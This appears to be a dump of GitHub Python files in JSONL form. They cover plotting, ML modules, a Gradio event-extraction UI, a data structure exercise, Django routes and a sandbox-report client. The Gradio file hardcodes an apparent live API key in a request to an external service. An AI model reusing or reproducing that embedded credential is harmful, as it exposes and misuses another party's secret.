'35-40']\r\nfig = plt.figure()\r\nplt.plot(b, a, 'b-')\r\nplt.plot(b, a, 'b*')\r\nplt.ylabel('测距误差(m)')\r\nplt.xlabel('距离(m)')\r\n\r\n# print(a)\r\n\r\nplt.show()\r\n","repo_name":"antSesame/BPnetworks","sub_path":"test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":5802,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"}
+{"seq_id":"37551328774","text":"from typing import Optional\n\nimport torch.nn as nn\nfrom timm.models.layers.helpers import to_2tuple\n\nfrom hat import HATConfig, HATPayload\nfrom hat.modules import HATLinear\n\n# noinspection PyProtectedMember\nfrom hat.modules._base import HATPayloadCarrierMixin\n\n\nclass HATMlp(HATPayloadCarrierMixin):\n    \"\"\"HAT-MLP as used in HAT Vision Transformer, and related networks.\n\n    Please refer to the original implementation for more details:\n    :class:`timm.models.layers.mlp`.\n\n    \"\"\"\n\n    def __init__(\n        self,\n        in_features: int,\n        hat_config: HATConfig,\n        hidden_features: Optional[int] = None,\n        out_features: Optional[int] = None,\n        act_layer: nn.Module = nn.GELU,\n        bias: bool = True,\n        drop: float = 0.0,\n    ):\n        super().__init__()\n        out_features = out_features or in_features\n        hidden_features = hidden_features or in_features\n        biases = to_2tuple(bias)\n        drop_probs = to_2tuple(drop)\n\n        self.fc1 = HATLinear(\n            in_features=in_features,\n            out_features=hidden_features,\n            hat_config=hat_config,\n            bias=biases[0],\n        )\n        self.act = act_layer()\n        self.drop1 = nn.Dropout(drop_probs[0])\n        self.fc2 = HATLinear(\n            in_features=hidden_features,\n            out_features=out_features,\n            hat_config=hat_config,\n            bias=biases[1],\n        )\n        self.drop2 = nn.Dropout(drop_probs[1])\n\n    def forward(self, pld: HATPayload) -> HATPayload:\n        \"\"\"Forward the payload through MLP players.\"\"\"\n        pld = self.fc1(pld)\n        pld = pld.forward_by(self.act)\n        pld = pld.forward_by(self.drop1)\n        pld = self.fc2(pld)\n        pld = pld.forward_by(self.drop2)\n        return pld\n","repo_name":"xduan7/hat-cl","sub_path":"hat/timm_models/layers/mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"4428834177","text":"import gradio as gr\r\nimport requests\r\nfrom feeds import GdeltFunctions\r\nfrom helpers import visualization\r\n\r\n\r\ndef ee(q):\r\n    try:\r\n        url = 'https://event-extraction.skynet.coypu.org'\r\n        headers = {'Content-Type': 'application/json'}\r\n        output = requests.post(url, json={'message': q, 'key': '32T82GWPSGDJTKFN'}, headers=headers).json()\r\n        return output.get('event type'), visualization(output.get('event graph')), output.get('event graph'), output.get('event arguments')\r\n    except Exception as e:\r\n        return e,e,e,e\r\n\r\n\r\nexamples=[\r\n    \"A preliminary 6.20 magnitude #earthquake has occurred near Taft, Eastern Visayas, #Philippines.\",\r\n    \"A shooting has been reported at Saugus High School in Santa Clarita just north of Los Angeles.\",\r\n    \"Six Vicpol officers have tested positive this month #COVID19\",\r\n    \"One person was missing following a large explosion at an apparent industrial building in Houston Friday. The blast damaged nearby buildings and homes.\"\r\n    ]\r\n\r\ndescription = \"\"\"- Event Detector: crisis-related LM + supervised contrastive learning on TREC-IS dataset.\r\n                 - Entity Linker: BLINK-based linker\r\n                 - (paste the extracted event graph [here](https://json-ld.org/playground) to see the visualization!)\"\"\"\r\napi = GdeltFunctions()\r\n\r\nwith gr.Blocks() as eventExtractionTab:\r\n    with gr.Row():\r\n        gr.Markdown(f\"{description}\")\r\n    with gr.Row():\r\n        # Inputs\r\n        with gr.Column():\r\n            input_box = gr.TextArea(label='Input text')    \r\n            with gr.Accordion(\"Examples\", open=False):\r\n                gr.Examples(examples, inputs=input_box, label='')\r\n            with gr.Accordion(\"Get examples from Gdelt\", open=False, visible=True):\r\n                feeds_input_box = gr.Text(label='Query for Feeds')\r\n                getFeedButton = gr.Button(\"Query Feed\")\r\n            with gr.Row():\r\n                with gr.Column():\r\n                    delete_input_button = gr.Button(\"Delete\", elem_id='delete')\r\n                with gr.Column():\r\n                    runEEButton = gr.Button(\"Run Event Extraction\", variant='primary')\r\n\r\n        # Results\r\n        with gr.Column():\r\n            output_box_event_type = gr.Textbox(label=\"Event type:\", interactive=False)\r\n            output_box_graph_vis = gr.outputs.HTML(label=\"Visualization:\")\r\n            output_box_graph = gr.JSON(label=\"Event graph:\", interactive=False)\r\n            output_box_entities = gr.JSON(label=\"Extracted entities:\", interactive=False)\r\n\r\n    # Functions\r\n    getFeedButton.click(fn=api.get_feed, inputs=feeds_input_box, outputs=input_box)\r\n    delete_input_button.click(fn=lambda:\"\", inputs=[], outputs=input_box)\r\n    runEEButton.click(fn=ee, inputs=input_box, outputs=[output_box_event_type, output_box_graph_vis, output_box_graph, output_box_entities])\r\n","repo_name":"semantic-systems/SEMS-tool-suite","sub_path":"tabs/eventExtractionTab.py","file_name":"eventExtractionTab.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"37390364553","text":"import pandas\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport numpy\n\n\nstd = pandas.read_csv(\"std.csv\") # includes rot\nmean = pandas.read_csv(\"mean.csv\") # includes rot\n\nstd_rotmarg = pandas.read_csv(\"std_rotmarg.csv\") # does not include rot\nmean_rotmarg = pandas.read_csv(\"mean_rotmarg.csv\") # does not include rot\n\nstd[\"xWokMeasMetUM\"] = std.xWokMeasMetrology * 1000\nstd[\"yWokMeasMetUM\"] = std.yWokMeasMetrology * 1000\nstd_rotmarg[\"xWokMeasMetUM\"] = std_rotmarg.xWokMeasMetrology * 1000\nstd_rotmarg[\"yWokMeasMetUM\"] = std_rotmarg.yWokMeasMetrology * 1000\n\nstd = std[std.xWokMeasMetUM < 1000]\nstd = std[std.yWokMeasMetUM < 1000]\nstd_rotmarg = std_rotmarg[std_rotmarg.xWokMeasMetUM < 1000]\nstd_rotmarg = std_rotmarg[std_rotmarg.yWokMeasMetUM < 1000]\n\nstd = std[std.polidName != \"desi\"]\nstd_rotmarg = std_rotmarg[std_rotmarg.polidName != \"desi\"]\n# std = std[std.polidName != \"z4\"]\n\n# confids = [4113, 4114]\n\nfor ii, df in enumerate([std, std_rotmarg]):\n    # for confid in confids:\n    #     df = std[_df.configid==confid]\n    plt.figure(figsize=(10,10))\n    sns.kdeplot(data=df, x=\"xWokMeasMetUM\", y=\"yWokMeasMetUM\", hue=\"polidName\", levels=20)\n    if ii == 0:\n        plt.title(\"stdev at same rot angle\")\n\n    if ii == 1:\n        plt.title(\"stdev across all rot angles\")\n    plt.xlim([0,30])\n    plt.ylim([0,30])\n\n\n    # sns.kdeplot(data=df, x=\"yWokMeasMetUM\", hue=\"polidName\")\n    # sns.scatterplot(data=df, x=\"xWokMeasMetUM\", y=\"yWokMeasMetUM\", hue=\"polidName\", alpha=0.5)\n    # plt.xlim([0,50])\n    # plt.ylim([0,50])\n    # plt.title(str(confid))\n\n    # plt.figure()\n    # sns.boxplot(data=df[df.polidName==\"nom\"], x=\"rotpos\", y=\"xWokMeasMetUM\")\n\n    # plt.figure()\n    # sns.boxplot(data=df[df.polidName==\"nom\"], x=\"rotpos\", y=\"yWokMeasMetUM\")\n\n\n_df = mean[mean.polidName==\"nom\"]\n_df[\"dx_trans\"] = _df.xtrans - numpy.mean(_df.xtrans)\n_df[\"dy_trans\"] = _df.ytrans - numpy.mean(_df.ytrans)\n\nplt.figure()\nsns.scatterplot(data=_df, x=\"rotpos\", y=\"dx_trans\")\n\nplt.figure()\nsns.scatterplot(data=_df, x=\"rotpos\", y=\"dy_trans\")\n\nplt.figure()\nsns.scatterplot(data=_df, x=\"dx_trans\", y=\"dy_trans\", hue=\"rotpos\")\nplt.axis(\"equal\")\n\n\nplt.figure()\nsns.scatterplot(data=_df, x=\"temp\", y=\"scale\", hue=\"configid\")\n# plt.axis(\"equal\")\n\nplt.show()\n\nimport pdb; pdb.set_trace()","repo_name":"csayres/fpscommis","sub_path":"fvcCentroid/ql.py","file_name":"ql.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31880988955","text":"import json\nimport os\nimport os.path\nimport random\n\nimport cv2\nimport numpy as np\nimport torch\nimport torch.utils.data as data_utl\nfrom torchvision import transforms\nimport videotransforms\n\n\ndef video_to_tensor(pic):\n    \"\"\"Convert a ``numpy.ndarray`` to tensor.\n    Converts a numpy.ndarray (T x H x W x C)\n    to a torch.FloatTensor of shape (C x T x H x W)\n\n    Args:\n         pic (numpy.ndarray): Video to be converted to tensor.\n    Returns:\n         Tensor: Converted video.\n    \"\"\"\n    return torch.from_numpy(pic.transpose([3, 0, 1, 2]))\n\n\ndef load_rgb_frames(image_dir, vid, start, num):\n    frames = []\n    for i in range(start, start + num):\n        img = cv2.imread(os.path.join(image_dir, vid, vid + '-' + str(i).zfill(6) + '.jpg'))[:, :, [2, 1, 0]]\n        w, h, c = img.shape\n        if w < 226 or h < 226:\n            d = 226. - min(w, h)\n            sc = 1 + d / min(w, h)\n            img = cv2.resize(img, dsize=(0, 0), fx=sc, fy=sc)\n        img = (img / 255.) * 2 - 1\n        frames.append(img)\n    return np.asarray(frames, dtype=np.float32)\n\n\ndef load_flow_frames(image_dir, vid, start, num):\n    frames = []\n    for i in range(start, start + num):\n        imgx = cv2.imread(os.path.join(image_dir, vid, vid + '-' + str(i).zfill(6) + 'x.jpg'), cv2.IMREAD_GRAYSCALE)\n        imgy = cv2.imread(os.path.join(image_dir, vid, vid + '-' + str(i).zfill(6) + 'y.jpg'), cv2.IMREAD_GRAYSCALE)\n\n        w, h = imgx.shape\n        if w < 224 or h < 224:\n            d = 224. - min(w, h)\n            sc = 1 + d / min(w, h)\n            imgx = cv2.resize(imgx, dsize=(0, 0), fx=sc, fy=sc)\n            imgy = cv2.resize(imgy, dsize=(0, 0), fx=sc, fy=sc)\n\n        imgx = (imgx / 255.) * 2 - 1\n        imgy = (imgy / 255.) * 2 - 1\n        img = np.asarray([imgx, imgy]).transpose([1, 2, 0])\n        frames.append(img)\n    return np.asarray(frames, dtype=np.float32)\n\n\nclass Charades(data_utl.Dataset):\n\n    def __init__(self, split_file, split, root, mode, transforms=None):\n\n        self.data = make_dataset(split_file, split, root, mode)\n        self.split_file = split_file\n        self.transforms = transforms\n        self.mode = mode\n        self.root = root\n\n    def __getitem__(self, index):\n        \"\"\"\n        Args:\n            index (int): Index\n\n        Returns:\n            tuple: (image, target) where target is class_index of the target class.\n        \"\"\"\n        vid, label, dur, nf = self.data[index]\n        start_f = random.randint(1, nf - 65)\n\n        if self.mode == 'rgb':\n            imgs = load_rgb_frames(self.root, vid, start_f, 64)\n        else:\n            imgs = load_flow_frames(self.root, vid, start_f, 64)\n        label = label[:, start_f:start_f + 64]\n\n        imgs = self.transforms(imgs)\n\n        return video_to_tensor(imgs), torch.from_numpy(label)\n\n    def __len__(self):\n        return len(self.data)\n\n\ndef make_dataset(split_files, split, root, mode, num_classes):\n    \"\"\"\n    make vidor dataset\n    :param split_files: annotation directory ('/home/daivd/PycharmProjects/vidor/annotation')\n    :param split: ['training', 'validation']\n    :param root: video frames directory / video directory\n    :param mode: rgb, flow\n    :param num_classes: object_num, action_num = 42, relation_num = 42 + 8 (space_relation = 8)\n    :return:\n    \"\"\"\n    dataset = []\n\n    for root, dirs, files in os.walk(split_files):\n        print(root)\n\n    # i = 0\n    # for vid in data.keys():\n    #     if data[vid]['subset'] != split:\n    #         continue\n    #\n    #     if not os.path.exists(os.path.join(root, vid)):\n    #         continue\n    #     num_frames = len(os.listdir(os.path.join(root, vid)))\n    #     if mode == 'flow':\n    #         num_frames = num_frames // 2\n    #\n    #     if num_frames < 66:\n    #         continue\n    #\n    #     label = np.zeros((num_classes, num_frames), np.float32)\n    #\n    #     fps = num_frames / data[vid]['duration']\n    #     for ann in data[vid]['actions']:\n    #         for fr in range(0, num_frames, 1):\n    #             if ann[1] < fr / fps < ann[2]:\n    #                 label[ann[0], fr] = 1  # binary classification\n    #     dataset.append((vid, label, data[vid]['duration'], num_frames))\n    #     i += 1\n    #\n    # return dataset\n\n\nif __name__ == '__main__':\n\n    # batch_size = 8 * 5\n    #\n    # train_transforms = transforms.Compose([videotransforms.RandomCrop(224),\n    #                                        videotransforms.RandomHorizontalFlip()])\n    #\n    # test_transforms = transforms.Compose([videotransforms.CenterCrop(224)])\n    #\n    # root_path = 'data/Charades_v1_rgb'\n    #\n    # dataset = Charades('data/charades.json', 'training', root_path,\n    #                    'rgb', train_transforms)\n    # dataloader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=True, num_workers=36,\n    #                                          pin_memory=True)\n    # val_dataset = Charades('data/charades.json', 'testing', root_path,\n    #                        'rgb', test_transforms)\n    # val_dataloader = torch.utils.data.DataLoader(val_dataset, batch_size=batch_size, shuffle=True, num_workers=36,\n    #                                              pin_memory=True)\n    #\n    # dataloaders = {'train': dataloader, 'val': val_dataloader}\n    # datasets = {'train': dataset, 'val': val_dataset}\n    #\n    # for data in dataloaders['train']:\n    #     inputs, labels = data\n    #     print(inputs, labels)\n\n    # ============================\n    make_dataset(split_files='/home/daivd/PycharmProjects/vidor/annotation',\n                 split='training',\n                 root='/home/daivd/PycharmProjects/vidor/train_vids',\n                 mode='rgb',\n                 num_classes=42)\n","repo_name":"adamsZQ/newVidVRD","sub_path":"VVRD/vidor_dataset.py","file_name":"vidor_dataset.py","file_ext":"py","file_size_in_byte":5698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"392919622","text":"import cv2\nimport matplotlib.pyplot as plt\n\nfrom cv2 import THRESH_OTSU\nfrom matplotlib.pyplot import gray \nimg_file = r\"/Users/genkitakasaki1/Desktop/Mycode/git/dev/pic/m9.JPG\"\n\norigin_img = cv2.imread(img_file)\ngray_img = cv2.imread(img_file, 0)\n#gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\nret, img_th = cv2.threshold(gray_img, 0, 255, cv2.THRESH_BINARY+cv2.THRESH_OTSU)\nret, img_th = cv2.threshold(img_th, 200, 255, cv2.THRESH_TOZERO_INV)\nimg_th = cv2.bitwise_not(img_th)\nret, img_th = cv2.threshold(img_th, 0, 255, cv2.THRESH_BINARY+cv2.THRESH_OTSU)\n\ncontours, hierarchy = cv2.findContours(img_th, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_TC89_L1)\n\nfor i in range(len(contours)):\n    draw_img = cv2.drawContours(origin_img.copy(), contours, i, (255, 0, 0, 255), 20)\n\n#draw_img = cv2.drawContours(origin_img.copy(), contours, -1, (255, 0, 0, 255), 20, hierarchy, cv2.CV_AA)\nplt.imshow(cv2.cvtColor(draw_img, cv2.COLOR_BGR2RGB))\nprint(contours)\nplt.show()\n","repo_name":"genkinaoko/Dev","sub_path":"m2.py","file_name":"m2.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1667064980","text":"# Fifo\n# Using Ring Buffer => 시계 방향으로 인덱스 증가\nclass FixedQueue:\n    \n    # 예외처리 클라스 2개\n    class Empty(Exception):\n        pass\n    \n    class Full(Exception):\n        pass\n    \n    def __init__(self, capacity):\n        \n        self.no = 0 # 현재 데이터 갯수\n        self.front = 0 # 맨 앞 원소 커서\n        self.rear = 0 # 맨 끝 원소 커서\n        self.capacity = capacity # 큐의 크기\n        self.que = [None] * capacity # 큐의 본체\n        \n    def __len__(self):\n        return self.no\n    \n    def is_empty(self):\n        return self.no <= 0\n    \n    def is_full(self):\n        return self.no >= self.capacity\n    \n    def enque(self, x):\n        if self.is_full():\n            raise FixedQueue.Full\n        \n        self.que[self.rear] = x\n        self.rear += 1 # 다음 원소 받을 곳으로 옮기기 (링 버퍼 생각)\n        self.no += 1\n        if self.rear == self.capacity:\n            self.rear = 0\n    \n    def deque(self, x):\n        if self.is_empty():\n            raise FixedQueue.Full\n        x = self.que[self.front]\n        self.front += 1 # 하나 빠짐 (시계 방향 기억)\n        self.no -= 1\n        if self.front == self.capacity:\n            self.front = 0\n        return x\n        \n    def peek(self):\n        if self.is_empty():\n            raise FixedQueue.Empty\n        return self.que[self.front] # 가장 위쪽 원소를 제시\n    \n    def find(self, value):\n        for i in range(self.no):\n            idx = (i + self.front) % self.capacity # front 값에 따라서 탐색 위치가 변함\n            if self.que[idx] == value:\n                return idx\n        return -1 \n    \n    def count(self, value):\n        cnt = 0\n        for i in range(self.no):\n            idx = (i + self.front) % self.capacity\n            if self.que[idx] == value:\n                cnt += 1\n        return cnt\n    \n    def __contains__(self, value):\n        return self.count(value)\n    \n    def clear(self):\n        self.no = self.front = self.rear = 0\n        \n    def dump(self):\n        if self.is_empty():\n            print(\"The Que is empty\")\n        else:\n            for i in range(self.no):\n                print(self.que[(i + self.front)%self.capacity], end='')\n            print()","repo_name":"myone2e/ALGO_DS","sub_path":"ch4_datastructure/fixed_queue.py","file_name":"fixed_queue.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6922275880","text":"from __future__ import annotations\nimport json\nfrom typing import Any\n\nfrom .node import Node\n\n\nclass Edge:\n    \"\"\"Edge object that represents a connection to a node (neurone)\"\"\"\n    def __init__(\n        self,\n        node: Node,\n        weight: int = None,\n        length: int = None,\n        next_steps: list[int] = None,\n    ) -> None:\n        \"\"\"\n\n        Args:\n            node: destination `Node` of the current `Edge`\n            weight: how much juice it carries each time it trickles\n            length: how many cycles it takes for a trickle of juice to\n                travel down this `Edge` and arrive at destination `Node`\n        \"\"\"\n        self.node = node\n        self.weight = weight\n        self.length = length\n\n        # Variable to store when to increment the `level` of `node`\n        # based on `weight` and `length`\n        self.next_steps = next_steps or list()\n\n    def run_cycle(self) -> None:\n        \"\"\"Handles the dream/wake cycles\"\"\"\n        trickles_arriving = 1 in self.next_steps\n        if trickles_arriving:\n            self.node.level += self.weight\n        self.next_steps = [el - 1 for el in self.next_steps if el != 1]\n\n    def load(self) -> None:\n        \"\"\"\n        Load the Edge when the source node spills.\n        Updates the `next_steps` variable to represent the\n        desired behavior\n        \"\"\"\n        self.next_steps.append(self.length)\n\n    def to_keys(self) -> tuple[Any, ...]:\n        \"\"\"\n        Save the current Edge information, so it can be\n        re-created\n\n        Returns:\n            Tuple with information on how to re-create\n            the current Edge\n        \"\"\"\n        parameters = (\n            (\"node\", self.node.to_keys()),\n            (\"weight\", self.weight),\n            (\"length\", self.length),\n            (\"next_steps\", self.next_steps),\n        )\n        return parameters\n\n    @classmethod\n    def from_keys(cls, parameters: tuple[Any, ...]) -> Edge:\n        \"\"\"\n        Recreate an Edge from given parameters\n        Args:\n            parameters: information on how to initialize a new\n                instance of the current class\n\n        Returns:\n            New instance with the information given in `parameters`\n        \"\"\"\n        input_parameters = dict()\n        for key, val in parameters:\n            if key == \"node\":\n                input_parameters[key] = Node.from_keys(val)\n            else:\n                input_parameters[key] = val\n        return cls(**input_parameters)\n\n    def __hash__(self) -> int:\n        \"\"\"\n        Use the name of the destination node as its hash.\n\n        Have in mind that this only makes sense in the context of\n        this implementation, since the Edge object is implicitly\n        related to an existing Node\n\n        Notice that two ed with the same name will be considered\n        equal independently of their `weight` and `length`\n        \"\"\"\n        return hash(self.node)\n\n    def __eq__(self, other_edge: Edge) -> bool:\n        \"\"\"\n        Overload the equal operator based on the following:\n        Two edges are considered equal if they have the same destination node.\n        See `__hash__` method\n\n        Args:\n            other_edge: Edge to be compared with the current\n\n        Returns:\n            Whether the edges have the same destination node\n\n        Raises:\n            TypeError: when comparing with an object that is not\n            instance of `Edge`\n        \"\"\"\n\n        if isinstance(other_edge, Edge):\n            return self.node == other_edge.node\n        raise TypeError(f\"Edge is not comparable to type {type(other_edge)}\")\n\n    def __repr__(self) -> str:\n        \"\"\"\n        Overload the repr method to display useful information\n        about the Node\n\n        Returns:\n            JSON representation of a Node\n        \"\"\"\n        repr_ = {\n            \"to_node\": self.node.name,\n            \"weight\": self.weight,\n            \"length\": self.length,\n            \"next_steps\": self.next_steps,\n        }\n        return json.dumps(repr_, indent=2)\n","repo_name":"hec10r/stynker","sub_path":"src/edge.py","file_name":"edge.py","file_ext":"py","file_size_in_byte":4020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25175846586","text":"from django.urls import path\nfrom .views import (\n    ReviewListView,\n    ReviewCreateView,\n    ReviewRUDView,\n    ToggleLikeView\n)\n\nurlpatterns = [\n    path('reviews/', ReviewListView.as_view()),\n    path('reviews/book/<str:book_id>/', ReviewCreateView.as_view()),\n    path('reviews/<uuid:review_id>/', ReviewRUDView.as_view(), name='review'),\n    path('reviews/<uuid:review_id>/like/', ToggleLikeView.as_view()),\n\n]","repo_name":"gautam8404/bookvita","sub_path":"server/reviews/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"11810724044","text":"def serieTaylor(error):\n    m= cantTerminos(error)\n    aprox=valorIntegral(m)\n    print (\"Numero de terminos de la serie que aproxima la integral: \" + str(m) +\"\\n\")\n    print (\"Aproximacion de la Integral: \"+ str(aprox))\n    return 0\n\ndef cantTerminos(tol):\n    m=0\n    tolAux=tolerancia(m)\n    while (tolAux>=tol):\n        m+=1\n        tolAux=tolerancia(m)\n    return m\n\ndef tolerancia (m):\n    numerador=pow(2,(m+1))\n    denominador=factorial(m+1)*(2*(m+1)+1)\n    tolAux=numerador/denominador\n    return tolAux\n\ndef factorial (num):\n    result=1\n    while (num>1):\n        result*=num\n        num-=1\n    return result\n    \ndef valorIntegral(n):\n    sumatoria=0\n    resultado=0\n    while(sumatoria<=n):  \n        numerador= (pow(-1,n))*(pow(2,n))\n        denominador= factorial(n)*(2*n+1)   \n        resultado+= numerador/denominador\n        n-=1\n    return resultado\n","repo_name":"KJeanpol/Analisis-Numerico-para-Ingenieria","sub_path":"Series de Taylor/SerieTaylor.py","file_name":"SerieTaylor.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18127895945","text":"class Solution:\n    def removeDuplicates(self, nums) -> int:\n        slow = 0\n        for fast in range(1,len(nums)):\n            if nums[fast]!=nums[slow]:\n                slow+=1\n                nums[slow] = nums[fast]\n                \n        return slow+1\n\n\ns = Solution()\nprint(s.removeDuplicates([1,1,2]))\n","repo_name":"Arindam200/Python_Projects","sub_path":"Projects/removeDuplicate/removeDuplicate.py","file_name":"removeDuplicate.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"77"}
+{"seq_id":"18334455550","text":"import configparser\nimport logging\nimport os\nimport requests\nimport json\nfrom termcolor import colored\n\n# root = os.path.abspath(os.path.dirname(__file__))\n# root = root[:root.rfind(os.sep)]\n# user = root[:root.rfind(os.sep)]+os.sep+\"user\"\n\nlogger = logging.getLogger(\"androyara.vbox\")\nlogger.setLevel(logging.INFO)\n\n\nclass ConfigError(BaseException):\n    pass\n\n\nclass VSandbox(object):\n\n    def __init__(self, finger_print):\n\n        self.result = None\n        self._init_conf(finger_print)\n\n    def _init_conf(self, finger_print: str):\n\n        if \"USR_CONFIG_INI\" not in os.environ:\n            raise Exception(\"Please USR_CONFIG_INI as env variable.\")\n        user = os.getenv(\"USR_CONFIG_INI\")\n        if not os.path.isfile(user):\n            raise FileNotFoundError(\"%s is not file \"%(user))\n        config_path = user#user+os.sep+\"user.conf\"\n        if not os.path.isfile(config_path):\n            print(colored(\n                \"[error]: Read user.conf error  {} is not file !!! \".format(config_path), \"red\"))\n\n            return\n        if finger_print is None or finger_print == '':\n            self.echo(\n                \"error\", \" query sanbox resource must be not None or empty!!!!\")\n            return None\n        config = configparser.ConfigParser()\n        config.read(config_path)\n\n        self.resource = finger_print\n        url, params = self.get_sbox_info(\n            config, finger_print)  # Get sanbox url,api_key,sanbox_name\n        if url != '':\n            result = self.query(url,  params)\n            if result is None:\n                self.echo(\"warning\", \" {} can't query anything from {} sandbox\".format(\n                    finger_print, self.sbox_name()))\n                return\n        else:\n            self.echo(\n                \"warning\", \" {} sandbox url is empty , your should call query_report method for query report \".format(self.sbox_name()), \"yellow\")\n            result = self.query_report(config, finger_print)\n\n        self.result = result\n\n    def analysis(self):\n        pass\n\n    def get_result(self):\n\n        return self.result\n\n    def query_report(self, config, resource):\n        \"\"\"\n        another query method  for user \n        return :  \n        \"\"\"\n        return None\n\n    def sbox_name(self):\n\n        return \"VSandbox\"\n\n    def query(self, url, params):\n\n        try:\n            res = requests.get(url=url, params=params)\n            res.raise_for_status()\n            result = res.json()\n            return result\n        except Exception as e:\n            self.echo(\"warning\", \"request report error {}\".format(e), \"yellow\")\n            return None\n\n    def echo(self, tag, msg, color=\"green\"):\n        print(colored(\"[{}]: {}\".format(tag, msg), color))\n\n    def get_sbox_info(self, config, resource):\n\n        raise NotImplementedError\n","repo_name":"BiteFoo/androyara","sub_path":"androyara/vsbox/vsbox.py","file_name":"vsbox.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"19964296962","text":"# 1. Usuário entra com 3 números (x, y e z)\n# 2. Imprime na tela x + y\n# 3. Imprime na tela x elevado a z\n# 4. Imprime a subração x - y - z\n\nx = float(input(\"Digite um número: \"))\ny = float(input(\"Digite um segundo número: \"))\nz = float(input(\"Digite terceiro número: \"))\n\nsomaxy = x + y\nxelevado = x ** z\nsubtração = x - y - z\n\nprint(f\"A soma de {x:.2f} com {y:.2f} é: {somaxy:.2f}\")\nprint(f\"{x} elevado a {z} é: {xelevado} \")\nprint(f\"E a subtração de {x},{y} e {z} é: {subtração}\")\n","repo_name":"ViniciusTeleSS/Extensao_de_python_basico","sub_path":"Exercicios/Exercicio aula 1.py","file_name":"Exercicio aula 1.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"32730160093","text":"# Basic Libraries\nimport numpy as np\nimport pandas as pd\nimport seaborn as sb\nimport matplotlib.pyplot as plt # we only need pyplot\nsb.set() # set the default Seaborn style for graphics\nos.getcwd()\n\n\n# Obtain data from excel file\ndata = pd.read_csv('train.csv')\ndata.head()\n\n# Obtain data types\nprint(\"Data type : \", type(data))\nprint(data.dtypes)\n\n# Select all columns with int data\nint_data=data.select_dtypes(include=\"int64\")\n\n\n# Display filtered data\npd.DataFrame(int_data)\n\n# Dropping non-numeric variables by name\nint_data2 = int_data.drop(['MSSubClass', 'OverallQual','OverallCond'], axis=1)\npd.DataFrame(int_data2)\n\n\n# Find summary statistics\nsalePrice = pd.DataFrame(data['SalePrice'])\nsalePrice.describe()\n\n\n# Visualize the summary statistics and distribution of SalePrice using standard Box-Plot, Histogram, KDE\nf = plt.figure(figsize=(24, 4))\nsb.boxplot(data = salePrice, orient = \"h\")\n\nf = plt.figure(figsize=(16, 8))\nsb.histplot(data = salePrice)\n\nf = plt.figure(figsize=(16, 8))\nsb.kdeplot(data = salePrice)\n\n\n# Find summary statistics for LotArea\nlotArea = pd.DataFrame(data['LotArea'])\nlotArea.describe()\n\n\n# Visualize the summary statistics and distribution of LotArea using standard Box-Plot, Histogram, KDE.\nf = plt.figure(figsize=(24, 4))\nsb.boxplot(data = lotArea, orient = \"h\")\n\nf = plt.figure(figsize=(16, 8))\nsb.histplot(data = lotArea)\n\nf = plt.figure(figsize=(16, 8))\nsb.kdeplot(data = lotArea)\n\n\n# Plot SalePrice (y-axis) vs LotArea (x-axis) using jointplot\nsb.jointplot(x = \"LotArea\", y = \"SalePrice\", data = data)\n\n\n# Find the Correlation between the two.\njointDF = pd.concat([lotArea, salePrice], axis = 1).reindex(lotArea.index)\njointDF\njointDF.corr()\n\n\n# Visualise correlation\nsb.heatmap(jointDF.corr(), vmin = -1, vmax = 1, annot = True, fmt=\".2f\")\n\n\n# Bonus\n# Create a new Pandas DataFrame consisting of all variables (columns) of type Integer (int64) or Float (float64).\nbonus_data=data.select_dtypes(include=[\"int64\",\"float64\"])\npd.DataFrame(bonus_data)\n\n# Read the description for each variable carefully and try to identify the “actual” Numeric variables in the data.\n# Drop non-Numeric variables from the DataFrame to have a clean DataFrame with only the Numeric variables.\nbonus_data2 = bonus_data.drop(['MSSubClass', 'OverallQual','OverallCond'], axis=1)\npd.DataFrame(bonus_data2)\n\n# Plot SalePrice vs each of the Numeric variables you identified to understand their correlation or dependence.\nbonus_data2.corr()\n\n\n\n# Dropping Data\n# Using DataFrame.drop\ndf.drop(df.columns[[1, 2]], axis=1, inplace=True)\n# drop by Name\ndf1 = df1.drop(['B', 'C'], axis=1)\n# Select the ones you want\ndf1 = df[['a','d']]\n# use this to drop columns instead\n","repo_name":"ryankeh/SC1015","sub_path":"Lab2.py","file_name":"Lab2.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
